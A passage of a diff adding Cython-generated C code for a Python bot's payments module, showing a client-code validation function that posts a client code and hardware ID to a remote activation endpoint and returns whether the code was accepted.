__pyx_t_9 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_12); + __pyx_t_13 = __pyx_cur_scope->__pyx_t_6; + __pyx_cur_scope->__pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_t_13); + __pyx_t_14 = __pyx_cur_scope->__pyx_t_7; + __pyx_cur_scope->__pyx_t_7 = 0; + __Pyx_XGOTREF(__pyx_t_14); + __pyx_t_15 = __pyx_cur_scope->__pyx_t_8; + __pyx_cur_scope->__pyx_t_8 = 0; + __Pyx_XGOTREF(__pyx_t_15); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 202, __pyx_L22_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 202, __pyx_L22_error) + __Pyx_GOTREF(__pyx_t_1); + } + __pyx_t_3 = __pyx_t_1; + __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + /*try:*/ { + { + __Pyx_ExceptionSave(&__pyx_t_16, &__pyx_t_17, &__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_16); + __Pyx_XGOTREF(__pyx_t_17); + __Pyx_XGOTREF(__pyx_t_18); + /*try:*/ { + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_response = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":203 + * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} + * async with session.post("https://pocomacho.ru/solonetbot/codes/add/", json=payload) as response: + * if response.status == 200: # <<<<<<<<<<<<<< + * data = await response.json() + * if data.get("status") == "success": + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_response, __pyx_n_s_status); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 203, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_3, __pyx_int_200, 0xC8, 0)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 203, __pyx_L27_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (__pyx_t_6) { + + /* "handlers/payments/gift.py":204 + * async with session.post("https://pocomacho.ru/solonetbot/codes/add/", json=payload) as response: + * if response.status == 200: + * data = await response.json() # <<<<<<<<<<<<<< + * if data.get("status") == "success": + * logger.info(" !.") + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_response, __pyx_n_s_json); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 204, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 204, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_13; + __Pyx_XGIVEREF(__pyx_t_14); + __pyx_cur_scope->__pyx_t_6 = __pyx_t_14; + __Pyx_XGIVEREF(__pyx_t_15); + __pyx_cur_scope->__pyx_t_7 = __pyx_t_15; + __Pyx_XGIVEREF(__pyx_t_16); + __pyx_cur_scope->__pyx_t_8 = __pyx_t_16; + __Pyx_XGIVEREF(__pyx_t_17); + __pyx_cur_scope->__pyx_t_9 = __pyx_t_17; + __Pyx_XGIVEREF(__pyx_t_18); + __pyx_cur_scope->__pyx_t_10 = __pyx_t_18; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L34_resume_from_await:; + __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_12); + __pyx_t_13 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_13); + __pyx_t_14 = __pyx_cur_scope->__pyx_t_6; + __pyx_cur_scope->__pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_t_14); + __pyx_t_15 = __pyx_cur_scope->__pyx_t_7; + __pyx_cur_scope->__pyx_t_7 = 0; + __Pyx_XGOTREF(__pyx_t_15); + __pyx_t_16 = __pyx_cur_scope->__pyx_t_8; + __pyx_cur_scope->__pyx_t_8 = 0; + __Pyx_XGOTREF(__pyx_t_16); + __pyx_t_17 = __pyx_cur_scope->__pyx_t_9; + __pyx_cur_scope->__pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_t_17); + __pyx_t_18 = __pyx_cur_scope->__pyx_t_10; + __pyx_cur_scope->__pyx_t_10 = 0; + __Pyx_XGOTREF(__pyx_t_18); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 204, __pyx_L27_error) + __pyx_t_3 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_3); + } else { + __pyx_t_3 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_3) < 0) __PYX_ERR(0, 204, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_3); + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_data = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":205 + * if response.status == 200: + * data = await response.json() + * if data.get("status") == "success": # <<<<<<<<<<<<<< + * logger.info(" !.") + * return True + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 205, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_n_u_status}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 205, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_t_3, __pyx_n_u_success, Py_EQ)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 205, __pyx_L27_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (__pyx_t_6) { + + /* "handlers/payments/gift.py":206 + * data = await response.json() + * if data.get("status") == "success": + * logger.info(" !.") # <<<<<<<<<<<<<< + * return True + * else: + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 206, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_info); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 206, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__42}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 206, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":207 + * if data.get("status") == "success": + * logger.info(" !.") + * return True # <<<<<<<<<<<<<< + * else: + * logger.info(f": {data.get('message', ' .')}") + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_True); + goto __pyx_L31_try_return; + + /* "handlers/payments/gift.py":205 + * if response.status == 200: + * data = await response.json() + * if data.get("status") == "success": # <<<<<<<<<<<<<< + * logger.info(" !.") + * return True + */ + } + + /* "handlers/payments/gift.py":209 + * return True + * else: + * logger.info(f": {data.get('message', ' .')}") # <<<<<<<<<<<<<< + * return False + * else: + */ + /*else*/ { + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_logger); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 209, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_info); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 209, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 209, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__45, NULL); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 209, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 209, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_kp_u__43, __pyx_t_1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 209, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_t_11}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 209, __pyx_L27_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":210 + * else: + * logger.info(f": {data.get('message', ' .')}") + * return False # <<<<<<<<<<<<<< + * else: + * return False + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_False); + goto __pyx_L31_try_return; + } + + /* "handlers/payments/gift.py":203 + * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} + * async with session.post("https://pocomacho.ru/solonetbot/codes/add/", json=payload) as response: + * if response.status == 200: # <<<<<<<<<<<<<< + * data = await response.json() + * if data.get("status") == "success": + */ + } + + /* "handlers/payments/gift.py":212 + * return False + * else: + * return False # <<<<<<<<<<<<<< + * except Exception: + * return False + */ + /*else*/ { + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_False); + goto __pyx_L31_try_return; + } + + /* "handlers/payments/gift.py":202 + * async with aiohttp.ClientSession() as session: + * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} + * async with session.post("https://pocomacho.ru/solonetbot/codes/add/", json=payload) as response: # <<<<<<<<<<<<<< + * if response.status == 200: + * data = await response.json() + */ + } + __pyx_L27_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + /*except:*/ { + __Pyx_AddTraceback("handlers.payments.gift.validate_client_code", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_3, &__pyx_t_2, &__pyx_t_11) < 0) __PYX_ERR(0, 202, __pyx_L29_except_error) + __Pyx_XGOTREF(__pyx_t_3); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_1 = PyTuple_Pack(3, __pyx_t_3, __pyx_t_2, __pyx_t_11); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 202, __pyx_L29_except_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_19 = __Pyx_PyObject_Call(__pyx_t_15, __pyx_t_1, NULL); + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 202, __pyx_L29_except_error) + __Pyx_GOTREF(__pyx_t_19); + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_19); + __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_6 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_7 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_t_8 = __pyx_t_13; + __Pyx_XGIVEREF(__pyx_t_14); + __pyx_cur_scope->__pyx_t_9 = __pyx_t_14; + __Pyx_XGIVEREF(__pyx_t_15); + __pyx_cur_scope->__pyx_t_10 = __pyx_t_15; + __Pyx_XGIVEREF(__pyx_t_16); + __pyx_cur_scope->__pyx_t_11 = __pyx_t_16; + __Pyx_XGIVEREF(__pyx_t_17); + __pyx_cur_scope->__pyx_t_12 = __pyx_t_17; + __Pyx_XGIVEREF(__pyx_t_18); + __pyx_cur_scope->__pyx_t_13 = __pyx_t_18; + __Pyx_XGIVEREF(__pyx_t_19); + __pyx_cur_scope->__pyx_t_14 = __pyx_t_19; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_SwapException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L39_resume_from_await:; + __pyx_t_2 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_3); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_6; + __pyx_cur_scope->__pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_7; + __pyx_cur_scope->__pyx_t_7 = 0; + __Pyx_XGOTREF(__pyx_t_12); + __pyx_t_13 = __pyx_cur_scope->__pyx_t_8; + __pyx_cur_scope->__pyx_t_8 = 0; + __Pyx_XGOTREF(__pyx_t_13); + __pyx_t_14 = __pyx_cur_scope->__pyx_t_9; + __pyx_cur_scope->__pyx_t_9 = 0; + __Pyx_XGOTREF(__pyx_t_14); + __pyx_t_15 = __pyx_cur_scope->__pyx_t_10; + __pyx_cur_scope->__pyx_t_10 = 0; + __Pyx_XGOTREF(__pyx_t_15); + __pyx_t_16 = __pyx_cur_scope->__pyx_t_11; + __pyx_cur_scope->__pyx_t_11 = 0; + __Pyx_XGOTREF(__pyx_t_16); + __pyx_t_17 = __pyx_cur_scope->__pyx_t_12; + __pyx_cur_scope->__pyx_t_12 = 0; + __Pyx_XGOTREF(__pyx_t_17); + __pyx_t_18 = __pyx_cur_scope->__pyx_t_13; + __pyx_cur_scope->__pyx_t_13 = 0; + __Pyx_XGOTREF(__pyx_t_18); + __pyx_t_19 = __pyx_cur_scope->__pyx_t_14; + __pyx_cur_scope->__pyx_t_14 = 0; + __Pyx_XGOTREF(__pyx_t_19); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 202, __pyx_L29_except_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 202, __pyx_L29_except_error) + __Pyx_GOTREF(__pyx_t_1); + } + __pyx_t_19 = __pyx_t_1; + __pyx_t_1 = 0; + __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_19); + __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; + if (__pyx_t_6 < 0) __PYX_ERR(0, 202, __pyx_L29_except_error) + __pyx_t_5 = (!__pyx_t_6); + if (unlikely(__pyx_t_5)) { + __Pyx_GIVEREF(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_ErrRestoreWithState(__pyx_t_3, __pyx_t_2, __pyx_t_11); + __pyx_t_3 = 0; __pyx_t_2 = 0; __pyx_t_11 = 0; + __PYX_ERR(0, 202, __pyx_L29_except_error) + } + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + goto __pyx_L28_exception_handled; + } + __pyx_L29_except_error:; + __Pyx_XGIVEREF(__pyx_t_16); + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_ExceptionReset(__pyx_t_16, __pyx_t_17, __pyx_t_18); + goto __pyx_L16_error; + __pyx_L31_try_return:; + __Pyx_XGIVEREF(__pyx_t_16); + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_ExceptionReset(__pyx_t_16, __pyx_t_17, __pyx_t_18); + goto __pyx_L24_return; + __pyx_L28_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_16); + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_ExceptionReset(__pyx_t_16, __pyx_t_17, __pyx_t_18); + } + } + /*finally:*/ { + /*normal exit:*/{ + if (__pyx_t_15) { + __pyx_t_18 = __Pyx_PyObject_Call(__pyx_t_15, __pyx_tuple__38, NULL); + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + if (unlikely(!__pyx_t_18)) __PYX_ERR(0, 202, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_18); + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_18); + __Pyx_DECREF(__pyx_t_18); __pyx_t_18 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_13; + __Pyx_XGIVEREF(__pyx_t_14); + __pyx_cur_scope->__pyx_t_6 = __pyx_t_14; + __Pyx_XGIVEREF(__pyx_t_15); + __pyx_cur_scope->__pyx_t_7 = __pyx_t_15; + __Pyx_XGIVEREF(__pyx_t_18); + __pyx_cur_scope->__pyx_t_8 = __pyx_t_18; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 5; + return __pyx_r; + __pyx_L40_resume_from_await:; + __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_12); + __pyx_t_13 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_13); + __pyx_t_14 = __pyx_cur_scope->__pyx_t_6; + __pyx_cur_scope->__pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_t_14); + __pyx_t_15 = __pyx_cur_scope->__pyx_t_7; + __pyx_cur_scope->__pyx_t_7 = 0; + __Pyx_XGOTREF(__pyx_t_15); + __pyx_t_18 = __pyx_cur_scope->__pyx_t_8; + __pyx_cur_scope->__pyx_t_8 = 0; + __Pyx_XGOTREF(__pyx_t_18); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 202, __pyx_L16_error) + __pyx_t_11 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_11); + } else { + __pyx_t_11 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_11) < 0) __PYX_ERR(0, 202, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_11); + } + __pyx_t_18 = __pyx_t_11; + __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_18); __pyx_t_18 = 0; + } + goto __pyx_L26; + } + __pyx_L24_return: { + __Pyx_PyThreadState_assign + __pyx_t_18 = 0; __pyx_t_17 = 0; __pyx_t_16 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_19, &__pyx_t_20, &__pyx_t_21); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_18, &__pyx_t_17, &__pyx_t_16) < 0)) __Pyx_ErrFetch(&__pyx_t_18, &__pyx_t_17, &__pyx_t_16); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_17); + __Pyx_XGOTREF(__pyx_t_16); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __pyx_t_22 = __pyx_r; + __pyx_r = 0; + if (__pyx_t_15) { + __pyx_t_23 = __Pyx_PyObject_Call(__pyx_t_15, __pyx_tuple__38, NULL); + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + if (unlikely(!__pyx_t_23)) __PYX_ERR(0, 202, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_23); + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_23); + __Pyx_DECREF(__pyx_t_23); __pyx_t_23 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_13; 